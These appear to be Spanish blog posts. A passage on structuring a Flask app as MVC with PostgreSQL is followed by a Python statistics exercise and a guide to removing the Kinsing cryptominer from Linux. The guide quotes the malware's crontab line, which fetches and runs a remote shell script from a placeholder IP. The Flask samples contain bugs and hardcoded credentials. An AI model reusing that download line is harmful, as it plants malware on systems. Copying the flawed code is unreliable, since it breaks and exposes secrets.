Vista: La presentación. Aquí el usuario, mediante una Interfaz Gráfica -GUI-, realiza las peticiones y recibe las respuestas.
Controlador: La lógica del negocio, donde escribiremos los algoritmos necesarios para el procesamiento, cálculo y otros menesteres. Se encarga de comunicar a la vista, con el modelo. La lógica de programación se pone aquí (Nota: eso no impide que por ejemplo, en el Modelo, también se aplique algo de lógica, pero no es lo recomendable.)

Como trabajar MVC con Flask.

Flask es lo que se conoce como micro framework. A diferencia de Django, solo tiene lo necesario para empezar. Es escalable y puede servir para proyectos pequeños y simples a mas grandes y de mayor complejidad. En si mismo, esto da una ventaja, ya que es mas flexible a la hora de trabajar una aplicacion, pero al tener menos dependencias incluidas, puede ser difícil el mantenimiento.

Una aplicación Flask se divide por lo general de una forma muy simple. Tal como en el siguiente esquema.

└── Flask App /  
├── controllers/  
│ └── usuarioController.py  
├── models/  
│ └── usuarioModel.py  
├── utils  
├── templates/  
│ └── index.html  
├── static/  
│ ├── js  
│ └── css  
└── app.py

Por lo genera en los tutoriales de inicio, siempre se hacen todas las funciones y/o métodos en el archivo principal, pero para fines mas didácticos, usaremos la configuración de arriba. para la construcción de la aplicacion de ejemplo.

Podemos observar que se ha separado el controlador y modelo en subdirectorios. Esta es la forma mas correcta de trabajar, ya que así todo esta mas ordenado y se cumple con el paradigma.

Vamos entonces a iniciar una aplicación base.

from flask import Flask
from controllers import init_controllers

app = Flask(__name__, static_folder='static')
app.secret_key = 'holamundo'

init_controllers(app)

if __name__ == '__main__':
     app.run()

La aplicacion base que podemos ver, importa lo esencial de Flask, o sea los métodos pero además llamamos al directorio Controllers, donde estan dos archivos principales. init.py y controller.py

En el primero, es donde se registrarán, los controladores de la siguiente manera.

from flask import Blueprint
from .Controller import user.

def init_controllers(app):
    app.register_blueprint(user)

En la primera linea, importamos el método BluePrint, el cuál nos permite registrar los archivos individuales de los controladores. Cada controlador registrado será primero importado en la parte superior, siendo la función ìnit_controllers() la que registrará cada uno.

En el controlador irá algo así.

from flask import Blueprint
# esta variable inicializará Blueprint
user = Blueprint('usuario', __name__)

De aqui hacia abajo, crearemos los métodos de ruta y procesos.
@user.route('/usuario')
def get_usuarios:
    # Tu codigo
    pass

El modelo.

Un modelo en python puede ser de dos maneras. Usándolo solo como conector a la base datos o usando un ORM (Object Relational Model), que permite crear y manipular la base de datos a nivel de código. Acá en el ejemplo, sin embargo, usaremos la antigua fórmula.

Para el ejemplo usaremos PostgreSQL, una base de datos relacional que en lo personal, me gusta mucho y su librería python psycopg2

import psycopg2

"""
Creamos primero una conexion. Normalmente iría en un archivo aparte, pero para el ejemplo se realizará en el mismo Modelo.
"""
def DbConn(host, port, user, password):
    try:
        conexion = psycopg2.connect(
            host='localhost',
            database='baseprueba',
            user='usuariobasedatos',
            password='clavebasedatos'
        )
        return conexion
    except Exception as e:
        print(f"No se pudo conectar: {str(e)}")

# Funcion estandar para traer datos.
def get_usuarios():
    conn = DBConn()
    string = 'select * from public.usuarios;'

    try:
        sql = conn.cursor()
        sql.execute(string)
        data = sql.fetchall()
        sql.close()

        return data
    except psycopg2.DatabaseError as e:
        print(f'Ocurrio el siguiente error => {str(e)}')
    finally:
        conexion.close()

Para conectar el modelo con el controlador se hace la importación de la manera estándar, haciendo referencia al directorio donde se encuentra el archivo.

from models import usuarioModel

Una vez importado, dentro de la función agregamos lo siguiente. Quedaría así

from models import usuarioModel

user = Blueprint('usuario', __name__)

@user.route('/usuario')
def get_usuarios:
    # Llamamos al metodo dentro del archivo usuarioModel.
    usuarios = usuarioModel.get_usuarios()
    return render_template('index.html', usuarios=usuarios)

Lo que hace esta función es sencillo: tomar lo enviado por el Modelo y pasarlo a la vista que es lo que veremos a continuación.

La vista.

La vista es un template html que es el que recibe la información a través de parámetros definidos por Jinja2, que es el motor de plantilla por defecto.

El motor lo que hace, es renderizar la vista, usando una base, aunque tambien se puede crear el html completo. El ejemplo que se muestra es usando dicha base.

{% extends 'core/base.html'}
{% block title %}Lista de Usuarios{% endblock %}

{% block main %}
<section class="section">
    <div class="row">
        <div class="col-md-12">
            <h5>Lista de Usuarios</h5>
                    <hr>
                    <div class="table-responsive">
                        <table class="table table-bordered table-striped datatable" id="lista-usuarios">
                            <thead>
                                <th scope="col">#</th>
                                <th scope="col">DNI</th>
                                <th scope="col">Nombre Completo</th>
                                <th scope="col">Nombre de Usuario</th>
                                <th scope="col">Correo</th>
                                <th scope="col">Perfil</th>
                                <th scope="col">Empresa</th>
                                <th scope="col">Fecha de Creacion</th>
                                <th scope="col">Ver Perfil</th>
                                <th scope="col">Editar</th>
                                <th scope="col">Quitar</th>
                            </thead>
                            <tbody>
                                {% for fila in usuarios  %}
                                    <tr>
                                        <td>{{ loop.index }}</td>
                                        <td>{{ fila[1] }}</td>
                                        <td>{{ fila[2] }}</td>
                                        <td>{{ fila[3] }}</td>
                                        <td>{{ fila[4] }}</td>
                                        <td>{{ fila[5] }}</td>
                                        <td>{{ fila[6] }}</td>
                                        <td>{{ fila[7] }}</td>
                                        <td class="text-center">
                                            <a href="{{ url_for('usuario.get_pagina_usuario', usuario=fila[8] ) }}" class="btn btn-success btn-sm ver"><i class="bi bi-eye"></i></a>
                                        </td>
                                        <td class="text-center"><button type="button" class="btn btn-primary btn-sm editar" data-id="{{ fila[8] }}"><i class="bi bi-pencil-fill"></i></button></td>
                                        {% if fila[9] == 1 %}
                                            <td class="text-center"><button type="button" class="btn btn-danger btn-sm borrar" data-id="{{ fila[8] }}"><i class="bi bi-trash"></i></button></td>
                                        {% else %}
                                            <td class="text-center"><button type="button" class="btn btn-light btn-sm borrar" data-id="{{ fila[8] }}" disabled><i class="bi bi-dash-circle"></i></button></td>    
                                        {% endif %}
                                    </tr>
                                {% endfor %}
                            </tbody>
                        </table>
                    </div>
        </div>
    </div>
</section>
{% endblock %}
{% block scripts}{% endblock %}

La plantilla html que vemos a continuación, toma lo enviado por el controlador y utilizando la notación de Jinja2, va renderizando la data que el controlador pide al modelo.

Ventajas del MVC.

La primera gran ventaja de este paradigma es el mantenimiento. Al tener ordenado y definidas las entidades y procesos que intervienen, es más fácil depurar y encontrar los errores, para así subsanarlos, sean de datos, lógica o presentación.

Otra gran ventaja es que toda tecnología actual, lo utiliza en su mayoría, por lo que teniendo la noción de como funciona, es más fácil aprender cualquer framework, sea en el lenguaje que sea, además de las múltiples herramientas, sean librerías front o de manejo de datos, ayudan a un desarrollo más rápido y eficiente de cualquier aplicación.

Ventajas de Flask.

Si bien existen frameworks mucho más poderosos, como Django, Flask es más "flexible" , ya que solo incluye lo necesario para comenzar, pudiendo agregar mas librerías python según tus necesidades, lo que ayuda a que el código resultante no sea tan pesado. Sin embargo, en cierto punto requiere más trabajo, con algunas cosas como validaciones etc, pero en lo personal, siento que tampoco es tanto.

Instalar Flask.

Instalar Flask es muy sencillo. Se dejaran los pasos tanto para Linux como para Windows.

En el caso de windows, se usa la librería chocolatey, la cual es un gestor de paquetes independiente. Se encuentra en https://chocolatey.org

1. Instalar Python.

#Linux
apt install python3 python3-dev python3-setuptools  -y 
#Windows con chocolatey
choco install python3 -y

2. Instalar y crear entorno virtual.

La razón de crear estos entornes virtuales con virtualenv es para separar cada proyecto y sus librerías de la raiz de windows. Asi se administran mejor, en caso de querer hacer otras cosas con el lenguaje.

En ambos casos -Windows y Linux- se usa el gestor de paquetes del lenguaje, llamado pip

#Instalar virtualenv
pip install virtualenv

3. Crear el entorno virtual.

Se puede crear en cualquier parte del sistema. Al crear el directorio donde tendrás tu proyecto, En la consola de tu SO, realiza esto.

#Linux
virtualenv venv

#Windows
python -m venv venv

Una vez ejecutado, creara directorios donde se descargaran las librerías necesarias. En este caso, usaremos las que se describen en el artículo (Flask, psycopg2 y otras). El siguiente paso, es activar la instancia.

# Linux
source venv/bin/activate
# Windows
\venv\Scripts\activate

Una vez activo, todo lo que instalemos con pip, solo será utilizado dentro del entorno virtual. Procedemos a instalar lo que necesitamos.

# Instalar el framework
pip install Flask
# Instalar el motor de plantillas
pip install Jinja2
#Instalar motor de base de datos. En linux y windows es diferente
pip install psycopg2
# En linux
pip install psycopg2-binary

Y sería todo. Luego se procede a crear los archivos y directorios necesarios descritos mas arriba.

4. Guardar e instalar librerías desde archivo de texto.

A medida que crece nuestro proyecto, iremos implementando mas librerías, por lo que es necesario irlas guardando en un archivo de texto. Esto se hace de la siguiente manera.

pip freeze > requirements.txt

Esto guardará todas las librerías en el archivo de la siguiente manera.

Flask=3.0.0
psycopg=2.9
Jinja2= 2.0

Para reinstalarlas, solo ejecutas el siguiente comando.

pip install -r requirements.txt

Conclusión.

Si quieres iniciarte en el mundo del desarrollo web en Python, puedes optar por Flask como tu inicio. Es intuitivo y escalable, permitiendo una mejor eficiencia, tanto en recursos como en tiempo de desarrollo.

Ciertamente frameworks como Django tienen muchas herramientas que facilitan el desarrollo, después de todo, la idea es agilizar el tiempo en los proyectos, pero Flask, aun teniendo solo lo esencial para empezar, permite mantener el punto medio, entre la agilidad de programar lo que necesitas y el control de tu código.

Sobre el Modelo-Vista-Controlador, hay otros paradigmas como el funcional, Singleton, etc, pero sigue siendo el estándar de la industria, por su facilidad de uso y comprensión, lo que permite que tus proyectos de desarrollo, sean mas ágiles y eficientes.

Jugando un poco con estadística y Python.

Hermann Pollack (hpollack95) — Fri, 16 May 2025 02:46:40 +0000

Me gusta python. Es un lenguaje versátil y entretenido de usar. Es más con Flask he podido hacer cosas divertidas, incluso sacarle provecho a un prototipo completo que he ido escribiendo. Sin embargo, el lenguaje en si, puede hacer muchas cosas mas.

Hoy me entretuve haciendo algunas cosas con estadística, recordando la parte de las matemáticas que mas me gustan (Aunque admito:en la media no me fue tan bien por dejado). Asi que para ejemplificar algunos códigos voy a hacer un pequeño ejercicio: obtener la desviación media, varianza y desviación estándar y con eso, crear un programita en python con ellos.

Desviación Media.

La desviación media es una medida estadística que indica cuánto se alejan, en promedio, los valores de un conjunto de datos respecto a su media aritmética. Se calcula sumando las diferencias absolutas entre cada dato y la media, y luego dividiendo por el número total de datos. Es útil para entender la dispersión de los valores en un conjunto.

La desviación media, se denota matemáticamente de la siguiente manera:

\LARGE \text{DM} = \frac{\sum\limits_{i=1}^{n} |x_i - \bar{x}|}{n}

Donde

$x_i$ representa cada uno de los valores del conjunto de datos
$xˉ\bar{x}$ es la media aritmética (promedio)
$n$ es el numero total al contar los valores del conjunto
$∣xi−xˉ∣|x_i - \bar{x}|$ son las desviaciones absolutas, resultado de la resta entre el valor del conjunto y el promedio.

en python quedaría así.

def desviacionMedia (datos):
    promedio = (sum(datos)) / len(datos)
    absolutos = []

    for i in datos:
        valor = abs(i - promedio)
        absolutos.append(valor)

    sumaAbsolutos = sum(absolutos)
    desvMedia = sumaAbsolutos / len(datos)

    return desvMedia

Varianza.

La varianza es una medida estadística que indica cuánto se dispersan los valores de un conjunto de datos respecto a su media. Se calcula como el promedio de las diferencias al cuadrado entre cada dato y la media. Es clave para entender la variabilidad de los datos.

La varianza se escribe de la siguiente manera.

\LARGE \sigma^2 = \frac{\sum\limits_{i=1}^{n} (x_i - \bar{x})^2}{n-1}

Donde

$x_i$ son los valores del conjunto de datos (las temperaturas)
$xˉ\bar{x}$ es la media aritmética (promedio)
$n$ es la cantidad de datos del conjunto.
$(xi−xˉ)2(x_i - \bar{x})^2$ son los cuadrados.

En Python quedaría así.

def varianza (datos):
    promedio = (sum(datos)) / len(datos)
    cuadrados = []

    for i in datos:
        valor = math.pow((i - promedio), 2) 
        cuadrados.append(valor)

    sumaCuadrados = sum(cuadrados)
    varianza = sumaCuadrados / (len(datos) - 1) if len(datos) > 1 else 0

    return varianza

Desviación estándar.

La desviación estándar es una medida estadística que indica cuánto varían los datos respecto a su media. Cuanto mayor sea la desviación estándar, más dispersos están los valores; si es baja, los datos están más agrupados cerca de la media.

Se obtiene idéntico a la varianza, pero con la salvedad de que se trata de la raiz cuadrada

\LARGE\sigma = \sqrt{\frac{\sum\limits_{i=1}^{n} (x_i - \bar{x})^2}{n-1}}

Donde:

$x_i$ son los valores del conjunto de datos (las temperaturas)
$xˉ\bar{x}$ es la media aritmética (promedio)
$n$ es la cantidad de datos del conjunto.
$(xi−xˉ)2(x_i - \bar{x})^2$ son los cuadrados.

Para el ejemplo usamos la muestra $xˉ\bar{x}$ . Para población, se usa $μ\mu$ .

En Python queda así.

def desvEstandar(datos):
    promedio = (sum(datos)) / len(datos)
    cuadrados = []

    for i in datos:
        valor = math.pow((i - promedio), 2)
        cuadrados.append(valor)

    sumaCuadrados = sum(cuadrados)
    desvEstandar = math.sqrt((sumaCuadrados / (len(datos) - 1) if len(datos) > 1 else 0))

    return desvEstandar

Programa en python.

En python existe la librería statistics la cual nos proporciona diversas funciones como las mencionadas: promedio mean() asi como la varianza pvariance(), desviación estándar stdev() entre otras. En este ejercicio, decidí hacerlo así para explicar mejor las fórmulas matemáticas.

Voy a proceder con un ejemplo.

Dado el conjunto de datos data = [30, 31, 30, 25, 21, 20, 22] que es una lista de numeros enteros, obtendremos la desviacion media, la varianza y la desviacion estándar.

Lo primero que hay que hacer es importar las funciones. En este caso, la estructura es la siguiente.

├── lib/
│   └── funciones.py
└── prueba.py

funciones.py

import math #importamos la libreria math para las funciones pow y sqrt

def desviacionMedia (datos):
    promedio = (sum(datos)) / len(datos)
    absolutos = []

    for i in datos:
        valor = abs(i - promedio)
        absolutos.append(valor)

    sumaAbsolutos = sum(absolutos)
    desvMedia = sumaAbsolutos / len(datos)

    return desvMedia

def varianza (datos):
    promedio = (sum(datos)) / len(datos)
    cuadrados = []

    for i in datos:
        valor = math.pow((i - promedio), 2) 
        cuadrados.append(valor)

    sumaCuadrados = sum(cuadrados)
    varianza = sumaCuadrados / (len(datos) - 1) if len(datos) > 1 else 0

    return varianza

def desvEstandar(datos):
    promedio = (sum(datos)) / len(datos)
    cuadrados = []

    for i in datos:
        valor = math.pow((i - promedio), 2)
        cuadrados.append(valor)

    sumaCuadrados = sum(cuadrados)
    desvEstandar = math.sqrt((sumaCuadrados / (len(datos) - 1) if len(datos) > 1 else 0))

    return desvEstandar

prueba.py

from lib.funciones import *

data = [30, 31, 30, 25, 21, 20, 22]

if len(data) > 0:
    desviacion_media = desviacionMedia(data)
    varianza = varianza(data)
    desviacion_estandar = desvEstandar(data)

    resultado = f'Desviacion media = {desviacion_media}\nVarianza = {varianza}\nDesviacion estandar = {desviacion_estandar}'
    print(resultado)

Ejecutamos prueba.py

python prueba.py
# Resultado mostrado en la consola.
Desviacion media = 4.081632653061225  
Varianza = 22.28571428571428  
Desviacion estandar = 4.7207747548166585

Concluyendo.

Si bien es un ejercicio básico, permite entender bien como funcionan estas fórmulas estadísticas, aplicando un poco de código python.

Como bien mencioné, existen librerías para estadísticas, que permiten acelerar y acortar el código, además de dar mejores resultados. Espero les sirva.

Kinsing: el minero que afecta a sistemas Linux

Hermann Pollack (hpollack95) — Thu, 15 May 2025 22:01:27 +0000

Hace poco, por labores dentro de mi pega (para quienes son de fuera de Chile, "pega" se le dice al trabajo, por ser en el siglo XIX, la principal labor obrera: la pega de adoquines en las calles), estuve investigando, sobre malware de mineria de bitcoins, los cuales usan los recursos de las maquinas infectadas para poder hacer las complejas operaciones matemáticas que permitirían, crear un nuevo bloque del blockchain de esta criptomoneda digital.

Este malware se llama kinsing y posee dos procesos, llamados kinsing, que es el principal y kdevtmpfsi. Ambos se esconden en los directorios temporales, intervienen el crontab, especialmente el de apache y se autodescargan, pero además, intenta usar el procolo ssh, buscando replicarse en otras máquinas.

Este "minero", no solo ocupa recursos de CPU, si no que busca capturar otras maquinas para dicho proceso. Sabemos lo complicado que es adquirir bitcoins, aun cuando el precio a bajado, sin embargo, sigue siendo tentador para los piratas informáticos, ya que es una forma de ganar dinero y no dejar rastro. Por suerte, hay formas de quitarlo, aunque la solución que encontré, mientras sigo el proceso de investigación, es algo artesa, estoy seguro que a más de uno le servirá.

Que hace kinsing.

Este malware, entra por algun backdoor que no esté correctamente validado, usando los procesos, sea de Apache o PHP FastCGI, escribiendo en el crontab, normalmente Apache, una linea que le permite autodescargarse y ejecutarse remotamente. Los archivos binarios que ejecuta, los esconde en los directorios temporales como /tmp/ o /var/tmp, bajo el nombre de kdevtmpfsi y kinsing, los cuales se ejecutan, tomando la CPU a través de los procesos de los mencionados Apache y/o PHP FastCGI, haciendo que esta llegue incluso al 100%, lo que provoca Denegacion de Servicio.

Forma de eliminación.

Lo primero que hay que hacer es identificar los procesos. Usando top o sus derivados como htop o btop, podemos encontrar los procesos corriendo, con los nombres mencionados.

El primer paso es matar todo proceso que involucre a kinsing.

pkill -9 kinsing*
pkill -9 kdevtmpfsi*

Una vez realizado esto, hacemos una busqueda en profundidad, ya que si bien suelen esconderse en los directorios antes mencionados, tambien usan subdirectorios de los mismos para ocultarse.

find / -type f -name kdevtmpfsi -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"
find / -type f -name kinsing -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"

El resultado de esta búsqueda, nos mostrará donde se ocultan. Se omiten los directorios /proc, /dev/ y /sys/.

Una vez encontrados, se ejecuta el comando rm -f para su eliminacion.

rm -f /path/to/kdevtmpfsi*
rm -f /path/to/kdevtmpfsi*

Por último se debe considerar que el proceso escribe en el cron. Si esta Apache instalado, se debe encontrar la linea que escribe.

# Esta linea por lo general hace una llamad wget para ejecutar un sh remoto que descarga y ejecuta los binarios.
* * * * * wget -p -O http://ipaleatoria/p.sh 2 >&/dev/null/

Se debe borrar la linea y cambiar los permisos del crontab de apache.

chmod 700 /var/spool/cron
# Si ya existe un archivo cron de apache, se puede impedir que alguien mas que no sea usuario con privilegios, lo haga.
chmod 600 /var/spool/cron/apache

Con esto, se soluciona en parte, que kinsing, pueda entrar y utilizar la máquina.

Script sh para busqueda y eliminación.

Dejo abajo un script funcional para ser ejecutado. Este buscara cada 60 segundos, si existen tanto kdevtmpfsi como kinsing, procedera a matar los procesos y eliminar los archivos.

#!/bin/bash
KINSING=("kdevtmpfsi" "kinsing")
LOGFILE="/home/hpollack/matakinsing.log"

function buscar_kinsing {
    for kinsing in "${KINSING[@]}"; do
        archivos=$(find / -type f -name "$kinsing" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" 2>/dev/null)

        pids=$(pgrep -f "$kinsing")
        # Se agrega la busqueda de los pids para matar todo proceso involucrado con los nombres
        if [ -n "$pids" ]; then
            for pid in $pids; do
                kill -9 "$pid"
                echo "$(date '+%Y-%m-%d %H:%M:%S') Proceso $kinsing (PID: $pid) se ha eliminado" >> "$LOGFILE"
            done
        fi

        # Si se encuentran archivos maliciosos, eliminarlos
        for archivo in $archivos; do
            echo "$(date '+%Y-%m-%d %H:%M:%S') Se ha encontrado y eliminado el archivo malicioso: $archivo" >> "$LOGFILE"
            rm -f "$archivo"
        done
    done
}

while true; do
    buscar_kinsing
    sleep 60
done